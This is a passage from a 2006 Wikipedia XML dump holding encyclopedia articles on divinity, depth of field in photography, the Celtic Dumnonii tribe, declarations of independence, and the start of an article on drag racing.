=== Divinity applied to mortals ===
In the third usage extensions of divinity and divine power are credited to living, mortal individuals.  Political leaders are known to have claimed actual divinity in certain early societies &amp;mdash; the ancient [[Egyptian Pharaohs]] being the premier case &amp;mdash; taking a role as objects of worship and being credited with superhuman status and powers.  More commonly, and more pertinent to recent history, leaders merely claim some form of divine mandate, suggesting that their rule is in accordance with the will of God.  The doctrine of the divine right of kings was introduced as late as the 17th century, proposing that kings rule by divine decree; Japanese Emperors ruled by divine mandate until the inception of the [[Japanese constitution]] after [[WWII]]; to this day Catholics considered the [[Pope]] to be the literal voice of God on earth.  

Less politically, most faiths have any number of people that are believed to have been touched by Divine forces: saints, prophets, heroes, oracles, martyrs, and enlightened beings, among others.  Saint Francis of Assisi, in Catholicism, is said to have received instruction directly from God, and it is believed that God grants [[Indulgence|plenary indulgence]] to all who confess their sins and visit his chapel on the appropriate day.   In Greek mythology, [[Achilles|Achilles']] mother bathed him in the river Styx to give him immortality, and [[Hercules]] &amp;mdash; as the son of [[Zeus]] &amp;mdash; inherited near-godlike powers.  In religious [[Taoism]], [[Lao Tsu]] is venerated as a saint with his own powers.  Various individuals in the Buddhist faith, beginning with Siddhartha, are considered to be enlightened, and in religious froms of Buddhism they are credited with divine powers.  Mohammed and Christ, in their respective traditions, are each said to have performed divine miracles.

In general, mortals with divine qualities are carefully distinguished from the deity or deities in their religion's main [[pantheon (gods)|pantheon]].&lt;sup id=&quot;fn_3_back&quot;&gt;[[#fn_3|(3)]]&lt;/sup&gt; Even the Christian faith, which holds Christ to be identical to God, distinguishes between God the father and Christ the begotten son.&lt;sup id=&quot;fn_4_back&quot;&gt;[[#fn_4|(4)]]&lt;/sup&gt;.  There are, however, certain esoteric and mystical schools of thought, present in many faiths &amp;mdash; Sufis in islam, Gnostics in Christianity, Advaitan Hindus, Zen Buddhists, as well as several non-specific perspectives developed in new age philosophy &amp;mdash; which hold that all humans are in essence Divine, or unified with the Divine in a non-trivial way.  Such divinity, in these faiths, would express itself naturally if it were not obscured by the social and physical worlds we live in; it needs to be brought to the fore through appropriate spiritual practices.&lt;sup id=&quot;fn_5_back&quot;&gt;[[#fn_5|(5)]]&lt;/sup&gt;

==See also==
*[[List of deities]]
*[[God]]

==Notes==
*&lt;cite id=&quot;fn_1&quot;&gt;[[#fn_1_back|1:]] See, for example [http://www.stavacademy.co.uk/mimir/greatstag.htm &quot;The Great Stag: A Sumerian Divinity&quot;] by Bobula Ida (''Yearbook of Ancient and Medieval History'' 1953)
*&lt;cite id=&quot;fn_2&quot;&gt;[[#fn_2_back|2:]] note Augustine's argument that Divinity is not a quality of God, but that &quot;God is [...] Divinity itself&quot; (Nature and Grace, part I, question 3, article 3) [http://www.ccel.org/ccel/aquinas/nature_grace.vi.iii.iii.html &quot;Whether God is the Same as His Essence or Nature&quot;]
*&lt;cite id=&quot;fn_3&quot;&gt;[[#fn_3_back|3:]] This is sometimes a controversial issue, however; see [http://www.bbc.co.uk/religion/religions/shinto/features/emperor/index.shtml], for example, for a discussion of the status of the [[japan]]ese emperor.
*&lt;cite id=&quot;fn_4&quot;&gt;[[#fn_4_back|4:]] See, for example, [http://www.users.globalnet.co.uk/~emcd/index20.htm &quot;The Divinity of Alpha's Jesus&quot;] by Peterson &amp;amp; McDonald (''Media Spotlight'' 25:4, 2002)
*&lt;cite id=&quot;fn_5&quot;&gt;[[#fn_5_back|5:]] See, for example, [http://www.allspirit.co.uk/awakeningsigns.html &quot;Twelve Signs of Your Awakening Divinity&quot;] by Geoffrey Hoppe and Tobias

[[it:Divinità]]
[[nah:Teotl]]</text>
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  <page>
    <title>Doug Engelbart</title>
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      <text xml:space="preserve">#REDIRECT [[Douglas Engelbart]]
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    <title>Dynamical systems and chaos theory</title>
    <id>8365</id>
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  <page>
    <title>Depth of field</title>
    <id>8367</id>
    <revision>
      <id>41476105</id>
      <timestamp>2006-02-27T16:40:37Z</timestamp>
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      <text xml:space="preserve">[[Image:DOF-ShallowDepthofField.jpg|thumb|250px|An example of very shallow depth of field in a [[Macro photography|macro photograph]].]]
In [[optics]], particularly [[film]] and [[photography]], the '''depth of field''' (DOF) is the distance in front of and behind the subject which appears to be in [[focus]]. For any given [[optical device|lens]] setting, there is only one distance at which a subject is precisely in focus, but focus falls off gradually on either side of that distance, so there is a region in which the blurring is tolerable. This region is greater behind the point of focus than it is in front, as the angle of the light rays change more rapidly; they approach being [[parallel (geometry)|parallel]] with increasing distance.  

== Definition of &quot;focus&quot; ==
Several factors determine whether the objective error in focus becomes noticeable. Subject matter, movement, the distance of the subject from the camera, and the way in which the image is displayed all have an influence. However, the most important factor is the actual degree of error in relation to the area of film exposed.

Light from a point source at the correct distance will produce the image of a point on the film. A point farther away or nearer will produce the image of a disk whose border is known as &quot;[[circle of confusion]].&quot; The diameter of these circles increases with distance from the point of focus and so can be used as the measure of error or blurring of the image.

[[Image:Depth of field diagram.png|thumb|518px|The area within the depth of field appears sharp while the areas in front and behind the depth of field appear blurry.]]
For a [[35 mm film|35 mm]] motion picture, the image area on the camera negative is roughly 0.87 by 0.63&amp;nbsp;in (22 by 16&amp;nbsp;mm). The limit of tolerable error is usually set at 0.002 in (0.05&amp;nbsp;mm) diameter. For [[16 mm film|16&amp;nbsp;mm&amp;nbsp;film]], where the image area is smaller, the tolerance is stricter, .001&amp;nbsp;in (0.025&amp;nbsp;mm). Standard depth of field tables are constructed on this basis, although generally 35&amp;nbsp;mm productions set it at 0.001&amp;nbsp;in (0.025&amp;nbsp;mm). Note that the acceptable circle of confusion values for these formats are different because of the relative amount of magnification each format will need in order to be projected on a full-sized movie screen.

(A table for 35 mm still photography would be somewhat different since more of the film is used for each image and the amount of enlargement is usually much less.)

Another factor to be considered is that the film format's size will affect the relative depth of field. The larger the area of the film is, the longer a lens will need to be to capture the same framing as a smaller film format. In motion pictures, for example, a frame with a 12 degree horizontal field of view will require a 50 mm lens on 16 mm film, a 100 mm lens on 35 mm film, and a 250 mm lens on 65 mm film. Conversely, using the same focal length lens with each of these formats will yield a progressively wider image as the film format gets larger: a 50 mm lens has a horizontal field of view of 12 degrees on 16 mm film, 23.6 degrees on 35 mm film, and 55.6 degrees on 65 mm film. What this all means is that as the larger formats require longer lenses than the smaller ones, they will accordingly have a smaller depth of field. Therefore, compensations in exposure, framing, or subject distance need to be made in order to make one format look like it was filmed like another.

&lt;br clear=&quot;all&quot;&gt;

{| align=&quot;right&quot;
|[[Image:Jonquil flowers at f32.jpg|thumb|230px|f/32]]
|-
|[[Image:Jonquil flowers at f5.jpg|thumb|230px|f/5]]
|-
| [[Image:aperture_f22.jpg|thumb|230px|f/22]]
|- 
| [[Image:aperture_f8.jpg|thumb|230px|f/8]]
|- 
| [[Image:aperture_f4.jpg|thumb|230px|f/4]]
|- 
| [[Image:aperture_f2.8.jpg|thumb|230px|f/2.8]]
|- 
| align=&quot;center&quot; | Example of how the [[F-number]] affects&lt;br&gt; depth of field.  Above, from top to bottom:&lt;br&gt; f/22, f/8, f/4, f/2.8.
|}

== Hyperfocal distance ==
The hyperfocal distance is the nearest distance at which the far end of the depth of field stretches to infinity.  Focusing the camera at the hyperfocal distance results in the largest possible depth of field.   Focusing ''beyond'' the hyperfocal distance does not add depth of field to the far end (which is already at infinity), but it does subtract from the focus area in front of the hyperfocal point.  Therefore there is less total depth in focus.  Likewise, focusing ahead of the hyperfocal distance results in a gain of focus area ahead of the point, but loses the focus area behind the focus point including the subjects near infinity.

== Depth of field formula ==
Let ''H'' be the [[hyperfocal distance]] (calculated below from ''N'' = [[f-stop|aperture number]], and ''c'', the circle of confusion for a given film format), let ''s'' be the distance at which the camera is focused, let ''f'' be the focal length, let ''D''&lt;sub&gt;''F''&lt;/sub&gt; be the distance from the camera to the far limit of depth of field, and let ''D''&lt;sub&gt;''N''&lt;/sub&gt; be the distance from the camera to the near limit of depth of field.  Then depth of field (DOF) is given by

:&lt;math&gt;DOF = \Big(D_F - D_N\Big), where&lt;/math&gt;
:&lt;math&gt;H = \frac {f^2}{Nc}&lt;/math&gt;
:&lt;math&gt;D_F = \frac {s(H - f)}{H - s} = \frac {Hs}{(H-f)-s}&lt;/math&gt; 
:&lt;math&gt;D_N = \frac {s(H - f)}{H + s - 2f} = \frac {Hs}{(H-f)+s}&lt;/math&gt; 

Thus for a given [[film format]], depth of field is calculated from three factors: the [[focal length]] of the lens, the effective diameter of the lens opening (the [[aperture]]), and the camera-to-subject distance. While it is commonly said that lenses of short focal length have greater depth of field than long lenses, this rule of thumb is not strictly true because it takes into account only one of the three factors. In fact, for a given subject framing and aperture, lenses of all focal lengths have exactly the same depth of field.  This is because subject framing is dependent on two of the factors (focal length and subject distance), while aperture is the third.  Once the three factors are set in a fixed proportion, the depth of field will be the same.

An example makes this easier to understand. Take a photographer using a 400 mm lens to shoot a subject (for example, a bird) 10 metres away. Assuming an aperture of f/2.8, the depth of field of this shot would be 10 cm. Should the photographer now switch to a 50 mm f/2.8 lens, the depth of field at 10 metres is now 7.62 metres. However, once the photographer has moved to 1.25 metres from the bird, being the distance required such that the bird fills as much of the frame as it did with the 400 mm lens at 10 metres, the depth of field is ''exactly'' the same as before, 10 cm.

Casual photographers may be surprised to find that depth of field is not strictly a function of lens length. The common saying that short lenses have greater depth of field than long lenses actually relates to how lenses of each type tend to be used, long lenses are often for distant subjects, whereas wide angle lenses are often used up close.

== Artistic considerations ==
Depth of field can be anywhere from a fraction of an inch to virtually infinite.  For instance a shot of a woman's face in closeup may have shallow depth of field (with someone just behind her visible but out of focus&amp;mdash;common, for instance, in [[melodrama]]s and [[horror film]]s); a shot of rolling hills would be likely to have great depth of field, with the objects both in the foreground and in the background in focus.

== Aperture effects ==
The [[aperture]] controls the effective diameter of the lens opening. Reducing the aperture size increases the depth of field; however, it also reduces the amount of light transmitted, placing a practical limit on the extent to which the aperture size may be reduced. Photography lenses almost invariably work best at medium apertures. Motion pictures make only limited use of this control.  To produce a consistent image quality from shot to shot, cinematographers usually choose a single aperture setting for interiors and another for exteriors and adjust exposure through the use of camera filters or light levels.  Aperture settings are adjusted more frequently in still photography, where variations in depth of field are used to produce a variety of special effects.  

[[Image:lens aperture side.jpg|240px|thumb|left|A 35mm lens set to [[f-number|f/11]]. The depth-of-field scale (top) indicates that a subject which is anywhere between 1 and 2 meters in front of the camera will be rendered acceptably sharp. If the aperture was set to f/22 instead, everything from 0.7 meters to infinity would be in focus.]]
For any given lens and aperture, the depth of field is maximized by focusing the lens at the hyperfocal distance.  The hyperfocal distance is the point of focus chosen to create a depth of field from infinity to a near point that is half of the hyperfocal distance. For example if a lens is focused at infinity and the closest point of acceptable sharp focus is 10&amp;nbsp;m away (the hyperfocal distance), the depth of field will extend from 10&amp;nbsp;m to infinity.  If now the lens is focused on a point 10&amp;nbsp;m away (at the hyperfocal distance), the depth of field will still extend to infinity, but the nearest point of acceptable sharp focus will be 5&amp;nbsp;m, maximizing the depth of field.  If the lens is focused on a point closer than the hyperfocal distance, the depth of field will no longer extend to infinity, greatly reducing the depth of field.

== Depth of field versus film format size ==
As the equations above show, depth of field is also related to the circle of confusion criterion, which is typically chosen as a fraction such as 1/1000 or 1/1500 of the [[film format]] size.  Larger imaging devices (such as 8x10 inch photographic plates) can tolerate a larger circle of confusion, while smaller imaging devices such as [[point and shoot camera|point-and-shoot digital cameras]] need a smaller circle of confusion.  For equal field of view and f-number, depth of field is inversely proportional to the film format size.

In practical terms this means that smaller cameras have deeper depth of field than larger cameras.  This can be an advantage or disadvantage, depending on the desired effect. A large format camera is better for photographs where the forground and background are blurred (cf. [[bokeh]]), while a small camera maximizes depth of field, so that objects behind or in front of the focus plane are still in good focus.  This difference between formats goes away if the cameras are compared with equal aperture diameters rather than equal f-numbers; but the smaller camera can not usually use a large aperture diameter, so can not achieve a very limited depth of field.

== Depth of field in photolithography ==
In [[semiconductor]] [[photolithography]] applications, depth of field is extremely important as [[integrated circuit]] layout features must be printed with high accuracy at extremely small size.  The difficulty is that the [[wafer (electronics)|wafer]] surface is not perfectly flat, but may vary by several [[micrometre]]s.  Even this small variation causes some distortion in the projected image, and results in unwanted variations in the resulting pattern. Thus photolithography engineers take extreme measures to maximize the optical depth of field of the photolithography equipment. To mimimize this distortion further, chip makers like [[International Business Machines|IBM]] are forced to use [[chemical mechanical polish]]ing machines to make the wafer surface even flatter before lithographic patterning.

==In ophthalmology and optometry==
A person may sometimes experience better vision in daylight than at night because of an increased depth of field due to constriction of the [[pupil]] (i.e. [[miosis]]).

==References==
*Hummel, Rob (editor). ''American Cinematographer Manual'', 8th edition. Hollywood: ASC Press, 2001.

==See also==
*[[Angle of view]]
*[[Bokeh]]
*[[Deep focus]]
*[[Depth of focus]]
*[[Perspective distortion (caused by camera to subject distance)|Perspective distortion]]
*[[Shallow focus]]

==External links==
*[http://www.dofmaster.com/dofjs.html Depth of field calculator]
*[http://www.luminous-landscape.com/tutorials/dof2.shtml Demonstration that all focal lengths have identical depth of field]
*[http://www.cambridgeincolour.com/tutorials/depth-of-field.htm Depth of Field]: illustrations and terminology for photographers
*[http://www.dofmaster.com/dof_imagesize.html Explanation of why &quot;... all focal lengths have identical depth of field&quot;] is true only in some circumstances.
*[http://www.kevinwilley.com/l3_topic02.htm Depth of Field explanation and comparison photographs]

[[Category:Optics]] [[Category:Photographic terms]]

[[de:Schärfentiefe]]
[[es:Profundidad de campo]]
[[eo:Profundo de akre bildata spaco]]
[[fr:Profondeur de champ]]
[[io:Feld-profundeso]]
[[nl:Scherptediepte]]
[[ja:被写界深度]]
[[pl:Głębia ostrości]]
[[ru:ГРИП]]
[[sv:Skärpedjup]]
[[tr:Netlik derinliği]]</text>
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  </page>
  <page>
    <title>Dumnonii</title>
    <id>8368</id>
    <revision>
      <id>41019043</id>
      <timestamp>2006-02-24T14:56:21Z</timestamp>
      <contributor>
        <username>Ian Pitchford</username>
        <id>230605</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">The '''Dumnonii''' were a [[Celt]]ic tribe which inhabited part of the [[West Country]], specifically the South-Western Peninsula of [[England]], during the [[British Iron Age|Iron Age]] and the early [[Roman Britain|Roman]] period. They would give their name to the English county of [[Devon]], and their name is represented in Britain's two modern [[Brythonic]] languages as ''Dewnans'' in [[Cornish]] and ''Dyfnaint'' in [[Welsh language|Welsh]].

==History==
The Dumnonii are thought to have occupied territory in [[Somerset]], [[Devon]] and [[Cornwall]] and possibly part of [[Dorset]]. They do not seem to have been politically centralised: the structure, distribution and construction of Bronze Age &amp; Iron Age hillforts in the Peninsula point to a number of smaller tribal groups living alongside each other.

[[Ptolemy]]'s [[2nd century]] ''Geography'', places the Dumnonii to the west of the [[Durotriges]], and names four of their towns: [[Isca Dumnoniorum]] (later Caeresk, now [[Exeter, England|Exeter]]), Tamara (presumably on the [[River Tamar]]), Uxella (perhaps on the [[River Axe, Somerset|River Axe]]) and Voliba (unidentified). The [[Ravenna Cosmography]] adds two more settlements: Nemetostatio, a name relating to Nemio, or Druid ~Sacred Grove (Prob. North Tawton, Devon) and Durocornavium (unidentified). The name ''Durocornavium'' implies the existence of a tribe called the [[Cornavii]], perhaps the ancestors of the [[Cornish people]] {although some trace the Cornish to a hypothetical migration of the [[Cornovii]] of the West Midlands).

In the [[Sub-Roman Britain|sub-Roman]] period a Brythonic kingdom called [[Dumnonia]] emerged, covering the entire peninsula, although it is believed by some to be effectively a collection of sub-kingdoms. It is claimed by some that the [[Battle of Mons Badonicus|Battle of Mount Badon]] in which Brythonic Dumnonians fought off Anglo-Saxons took place in Devon but most historians believe this battle was fought near [[Bath]]. Dumnonia's territory was gradually reduced to little more than Cornwall by the expansion of the [[Anglo-Saxon]] kingdom of [[Wessex]]. As the eastern boundary of Brythonic Dumnonia receded to the west, many believe that the tribe's history eventually became indistinguishable from that of the [[Kingdom of Cornwall]]. The medieval [[Brittany|Breton]] kingdoms of [[Domnonia]] and [[Cornouaille]] were probably founded by emigrants from Devon and Cornwall during this period.

Brythonic Celtic peoples are reported by [[William of Malmesbury]] to have been living in the area of Devon alongside Saxon peoples during the [[10th century]]. A part of Exeter retained the title 'Little Britain' until the eighteenth century.

The Dumnonii would have spoken a [[Brythonic]] dialect ancestral to modern [[Cornish language|Cornish]], this language developed into Cornish and there is evidence some form survived east of the Tamar.

The [[Stannary Courts and Parliaments]] which were established after the grant of a charter to the tin miners of the region by [[John of England]] in [[1201]] had recognised the distinctive legal rights and status of Devon and Cornwall. However, [[Edward I of England]] split this legal union into separate Stannaries for the two &quot;Counties&quot; of Devon and Cornwall in [[1305]].

Victorian historians often referred to this tribe as the [[Damnonii]], which is also the name of another Celtic people from lowland Scotland, although there are no known links between the two populations. Another tribe with a similar name (but with no known links between the two) appear to have had a presence also in Ireland, as shown by the presence of a people called the [[Fir Domnann]] in the province of [[Connacht]].

==External links==
*[http://www.roman-britain.org/tribes/dumnonii.htm Dumnonii] at [http://www.roman-britain.org/ Roman-Britain.org]
*[http://www.earlybritishkingdoms.com/kingdoms/west.html Kingdoms of the West Country] at [http://www.earlybritishkingdoms.com/index.html Early British Kingdoms]

[[Category:Ancient Britons]]
[[Category:Roman Britain]]
[[Category:Sub-Roman Britain]]

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  <page>
    <title>Declaration of Independence</title>
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        <username>Jorge Stolfi</username>
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      <text xml:space="preserve">#REDIRECT [[declaration of independence]]</text>
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  <page>
    <title>Declaration of independence</title>
    <id>8372</id>
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      <id>42123654</id>
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        <username>JW1805</username>
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      <comment>/* List of UDIs */ Not a UDI</comment>
      <text xml:space="preserve">A '''declaration of independence''' is a proclamation of the [[independence]] of an aspiring [[state]] or states.  Such states are usually formed from part or all of the territory of another nation or failed nation, or are breakaway territories from within the parent state.

Declarations of independence are typically made without the consent of the parent state, and hence are sometimes called '''unilateral declarations of independence''' (UDI), particularly by those who question the validity of the declarations.

When used without qualification, &quot;''The'' Declaration of Independence&quot; usually refers to the [[Declaration of Independence (United States)|The Declaration of Independence of the Thirteen Colonies]].  It was ratified by the [[Continental Congress]] on [[July 4]], [[1776]], and was a key event in the [[American Revolution]].

==Overview==
In [[international politics]], unilateral declarations of independence are generally frowned upon, since preservation of territory is one of the few things that most countries of the world agree upon.

In [[international law]], there are multiple schools of thought regarding the creation of statehood.  One of these, the [[declarative theory of statehood]] holds that a self-declared state that meets certain criteria is indeed a state, even if not recognized by any other nation.  Conversely, the [[constitutive theory of statehood]] requires that a self-declared state receive at least a minimal level of acknowledgement (but not formal recognition) by existing states.


Declaring independence or supporting such a declaration is seen as a hostile act that may easily lead to [[war]]. Money is often an important factor when one state attempts to succeed another, with control of important resources such as ports, oil fields or strategic towns or geographic features leading to dispute. If a government has extremely large debts to other organizations, there may be international pressure for these debts to be taken over by successor governments, even if the original governmental organization is disbanded.

Many states have come into being through a UDI. The legality of a UDI is often the subject of debate and unsurprisingly the previous government typically asserts that a UDI is illegal. Often, international bodies and other countries decline at first to accept the legitimacy of the declared state and its government. If the declared state becomes a functioning entity, it may gain diplomatic recognition over time and a form of retrospective recognition. Not all declarations of independence result in actual states and those governments that do result from UDIs do not always survive and are often rivaled by the previous government. A significant number of unilaterally declared governments collapse or otherwise give way, with control returning to the previous government or shifting to a further, successor government.


Many declarations of independence, including those of [[Texas]] (now part of the [[United States]]), [[Rhodesia]], and [[Vietnam]] have been modeled on the United States declaration.

==List of UDIs==
*'''[[Declaration of Arbroath]]''' ([[Scotland]], [[1320]]) - The first known formal declaration of independence in which Scottish leaders declared Scotland's independence from [[England]] on behalf of the Scottish people.

*'''[[Oath of Abjuration]]''' ([[Low Countries]], [[1581]]) - The ''Plakkaat van Verlatinghe'' was the formal declaration of independence on [[July 26]], [[1581]] of the independence of the northern [[Low Countries]] from [[Philip II of Spain|King Philip II]] of [[Spain]].

*'''[[Declaration of Independence (United States)|United States Declaration of Independence]]''' ([[1776]]) - Made by thirteen of Great Britain's North American colonies. In [[1778]], the [[Treaty of Alliance]] and the [[Treaty of Amity and Commerce]] were signed by the [[United States]] and [[France]] signaling the first official recognition of the new country. The [[Kingdom of Great Britain]] formally recognized the new country in the [[Treaty of Paris (1783)|Treaty of Paris]] of [[1783]].

*'''[[Brazilian Declaration of Independence]]''' ([[1822]]) - [[Brazil]] was declared independent from [[Portugal]] on [[September 7]] by then regent Pedro de Bragança e Bourbon, who was then crowned [[Peter I of Brazil|Emperor Peter I of Brazil]].

*'''[[Mecklenburg Declaration of Independence]]''' ([[May 20]], [[1775]] in North Carolina) - Declared [[North Carolina]] independence from Great Brittain a year before the US Declaration of Independence.

*'''[[Declaration of the Independence of New Zealand]]''' ([[1835]]) - This was a declaration of the independence of the [[Māori]] tribes.

*'''[[Texas Declaration of Independence|Texan Declaration of Independence]]''' ([[1836]]) - [[Texas]] declared its independence from [[Mexico]] as the [[Republic of Texas]].

*'''[[Hungarian Declaration of Independence]]''' ([[1849]]) - [[Hungary]] declared independence from the [[Austrian Empire]] and deposed the [[Habsburg dynasty]] on [[April 14]], [[1849]].

*'''[[Philippine Declaration of Independence]]''' ([[1898]]) - The [[Philippines]] were declared independent from [[Spain]] by [[Emilio Aguinaldo]] on [[June 12]], [[1898]] when the [[Spanish-American War]] was still under way. However, neither Spain nor the United States recognized the declaration. Official Philippine independence was finally granted by Congress on [[July 4]], [[1946]] after 48 years of United States colonial rule.

*'''[[Easter Proclamation]]''' ([[Ireland]], [[1916]]) - During the [[Easter Rising]] in [[Dublin]] Irish rebels proclaimed, on behalf of the Irish people, the establishment of an independent Irish republic. Unlike the later Declaration of Independence of 1919, the Proclamation of the Republic was not issued by an elected body and was not followed by the establishment of any ''de facto'' political institutions.

*'''[[Finland's declaration of independence]]''' ([[1917]]) - [[Finland]] declared its independence from [[Russia]] shortly after [[October Revolution]], on 6th [[December]].

*'''[[Irish Declaration of Independence]]''' ([[1919]]) - The [[Irish Republic]], encompassing the whole island of [[Ireland]], was declared by [[Dáil Éireann (1919-1922)|Dáil Éireann]] (a revolutionary parliament setup by the vast majority of elected representatives of Ireland) in 1919. By the declaration the Dáil ratified the earlier Easter Proclamation. The new Irish Republic was recognized by no country except the [[Russian SFSR]] and was rivaled by the administration of the [[Lord Lieutenant of Ireland]] during the [[Anglo-Irish War]]. It was superseded by the [[Irish Free State]] in [[1922]].

*'''[[ Korean independence movement | Korean Declaration of Independence]]''' ([[1919]]) - [[Korea]] declared independence from the [[Japan]] on [[March 1]], [[1919]]. Japanese government brutally cracked down the [[March 1st Movement | independence movement]]. Leaders of the movement fled to Shanghai of China and founded [[Provisional Government of the Republic of Korea]].

*'''[[Icelandic Declaration of Independence]]''' ([[1944]]) - [[Iceland]] declared its independence from [[Denmark]], following a [[plebiscite]] of the local population, on [[June 17]], [[1944]]. The Danish [[Christian X|King Christian X]], whose country was under [[Occupation of Denmark|Nazi occupation]] at the time, had urged Iceland to wait until the end of the war before making any such move but otherwise did nothing to prevent it (and was unable to do so in any case as Iceland was under U.S. [[military occupation]]).

*'''[[Indonesian Declaration of Independence]]''' ([[1945]]) - [[Indonesia]] declared independence from the [[Netherlands]] on [[August 17]], [[1945]]. Its independence was soon recognized by the [[United States]] and [[Australia]], but not by the Netherlands until [[1949]].

*'''[[Declaration of the Establishment of the State of Israel]]''' (1948) - The declaration was made on [[May 14]], [[1948]] (the day in which the British Mandate over Palestine expired) by the [[Jewish People's Council]].

*'''[[Katangan Declaration of Independence]]''' ([[1960]]) - [[Katanga]], a former a province of the [[Belgian Congo]], attempted to secede by means of a UDI in 1960, when Congo was granted its independence. The attempted secession was ended by the implementation of the [[United Nations]] supervised [[National Conciliation Plan]] in January, [[1963]].

*'''[[Unilateral Declaration of Independence (Rhodesia)|Rhodesian Declaration of Independence]]''' ([[1965]]) - [[Ian Smith]]'s white minority government declared independence from the [[United Kingdom]] in 1965. Few states accepted this declaration's legitimacy. The UDI Rhodesian state was ultimately replaced under the [[Lancaster House Agreement]] by a restored British regime under a governor: [[Lord Soames]]. Within a short time, a new, much more widely recognized independent state, [[Zimbabwe]], came into existence.

*'''[[Declaration of Independence of Bangladesh]]''' ([[1971]]) - [[Bangladesh]] (East Pakistan) declared independence from the [[West Pakistan]] in 1971. Pakistan sent its military and brutally killing liberation fighters. After bloody nine month Bangladesh Freedom Fighter defeat Pakistan military. [[Bangladesh]] got recognised of the world within a year.

*'''[[Declaration of Independence of Guinea-Bissau]]''' ([[1973]]) - [[Guinea-Bissau]], formerly Portuguese Guinea, declared independence from [[Portugal]] in 1973. The declaration was recognized by many countries. Portugal formally granted independence in [[1974]].

*'''[[East Timorese Declaration of Independence]]''' ([[1975]]) - [[East Timor]], formerly [[Portuguese Timor]], declared independence from Portugal on [[November 28]]. The declaration was recognized by several Communist ([[Communist state|Marxist-Leninist]]) and [[Third World]] nations, including the [[People's Republic of China]], but not by neighboring [[Australia]], [[Portugal]] or [[Indonesia]]. Indonesia invaded on [[December 7]], [[1975]], and annexed East Timor as its 'twenty-seventh province' on [[July 17]], [[1976]].

*'''[[Declaration of Independence of the Turkish Republic of Northern Cyprus]]''' ([[1983]]) - The [[Turkish Republic of Northern Cyprus]] was proclaimed in northern [[Cyprus]] in 1983. The area had been occupied by Turkish forces since a Turkish invasion in [[1974]]. The state has only received international recognition from [[Turkey]] and the [[Nakhchivan Autonomous Republic]].

*'''[[South Africa]]''' On adopting the 1996 constitution[http://www.info.gov.za/documents/constitution/index.htm][http://www.saweb.co.za/election/constit/saconst.html], the government of South Africa declared that people of South Africa did not have to ask the [[Westminster Parliament]] to pass legislation to make the new constitution legal [http://www.constitutionalcourt.org.za/site/theconstitution/history.htm][http://www.library.und.ac.za/CONHistoryLecture.doc]. See also [[Constitutional Court of South Africa]] and [[Statute of Westminster 1931]] .

*'''[[Palestinian Declaration of Independence]]''' ([[1988]]) - The [[Palestinian Liberation Organization]] proclaimed the [[State of Palestine]] in 1988. The PLO had no control of any territory at the time and a ''de facto'' state has yet to come into existence.

*'''[[Somaliland Declaration of Independence]]''' ([[1991]]) - With Somalia sliding down into total anarchy, the former colony of [[British Somaliland]], which became a [[constituent state]] of the newly independent Somalia in 1960, reasserted its independence. Despite the non-recognition of [[Somaliland]] by the international community, Somaliland has enjoyed stability and economic growth.

*Recent self-declared states include: '''[[Chechnya]]''', '''[[Puntland]]''', '''[[Nagorno-Karabakh]]''', '''[[South Ossetia]]''', '''[[Abkhazia]]''', and '''[[Transnistria]]'''.

==Independence without a UDI==
In many cases, independence is achieved without a declaration of independence but instead occurs by bilateral agreement. An example of this is the independence of many components of the [[British Empire]], most parts of which achieved independence through negotiation with the United Kingdom government. [[Australia]] and [[Canada]], for example, achieved full independence through a series of acts of the respective national [[parliament]]s of the United Kingdom, Australia and Canada.

One notable example of self-government in the absence of a formal declaration of independence is [[Taiwan]], which is administered by the [[Republic of China]] (ROC). The [[People's Republic of China]] (PRC) has stated that a formal declaration that Taiwan is independent of [[China]] would be one of the conditions under which they would use force against Taiwan.

The [[political status of Taiwan]] remains controversial; the position of most supporters of [[Taiwanese independence]] has been that since Taiwan has never been a part of the PRC, and the governing institutions of the ROC function as an independent and sovereign state, there is no need to formally declare Taiwan to be independent. Opponents of Taiwanese independence on Taiwan itself, who are sometimes but not always supporters of [[Chinese reunification]], also see no point in a declaration of independence in that they argue that Taiwan is and should be part of a greater cultural entity of China, and a new [[Republic of Taiwan]] would only bring about a change in name at the cost of an invasion attempt Taiwan could little afford.

==See also==
*[[Independence Day]]
*[[Separatism]]

==External links==
*[http://www.socialstudieshelp.com/Lesson_9_Notes.htm Current Validity of the US Declaration of Independence]
*[http://www.logos.com/products/details/2488 The US Declaration of Independence] in electronic form, featured in the American History Collection

==References==
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[[Category:International law]]
[[Category:National liberation movements]]

[[da:USAs Uafhængighedserklæring]]
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  <page>
    <title>Drag racing</title>
    <id>8373</id>
    <revision>
      <id>41934585</id>
      <timestamp>2006-03-02T18:59:19Z</timestamp>
      <contributor>
        <username>Willirennen</username>
        <id>378782</id>
      </contributor>
      <minor />
      <comment>/* Racing organization */ rearranged links, only require 1 link each</comment>
      <text xml:space="preserve">[[image:top_fuel_eg.jpg|thumb|right|350px|A Top Fuel dragster, the ultimate in drag racing. Get too close without ear protection and it will cause deafness.]]

[[image:DadWheelsUp.jpg|thumb|right|350px|Front engine dragsters are what they raced in the 1960s. These cars are still in competition today and they attract big crowds. This car would've been a Jr. Fueler in the 1960s.]]

'''Drag racing''' is a form of [[auto racing]] in which [[automobile|cars]] or [[motorcycles]] attempt to complete a fairly short, straight and level course in the shortest amount of time, starting from a dead stop.  Drag racing originated in the [[United States]] and is still the most popular there. The most common distance is one quarter of a mile (1320 ft / 402 m), although one-eighth of a mile (201 m) tracks are also popular.  The dragstrip extends well beyond the finish line to allow cars to slow down and return to the pit area.

While usually thought of as an American and Canadian pastime, drag racing is also very popular in [[Australia]], [[New Zealand]], [[Japan]], the [[Caribbean]], [[England]], [[Mexico]], [[Greece]], [[Malta]], [[South Africa]] and most [[European]] and [[Scandinavia]]n countries. At any given time there are over 325 [[drag strip]]s operating world-wide.

==History==
The origins of the sport lie in illegal [[street racing]] in the United States.  The format of the sport shows these origins: two cars line up next to each other, and await a green light as the signal to start, just as if they were sitting next to each other at a [[stoplight]].  The straight course mimics the straight streets of most American cities.  By the [[1930s]], hot-rodders had begun to race away from the roads, on [[Southern California]]'s dry lake beds, and by the late [[1940s]], attempts to codify the sport were underway.  The first [[drag strip]] opened on a [[Santa Ana, California]] airfield in [[1950]].

Southern California was the hot bed for development of the sport in the [[1950s]] as various clubs organized races.  ''[[Hot Rod]]'' magazine and its editor, [[Wally Parks]] began to promote racing safety and standardization.  The magazine sponsored national &quot;Safety Safari&quot; tours to spread drag racing to other parts of the country.  The [[NHRA]] was founded as a national sanctioning body and Parks eventually left the magazine to head the organization.

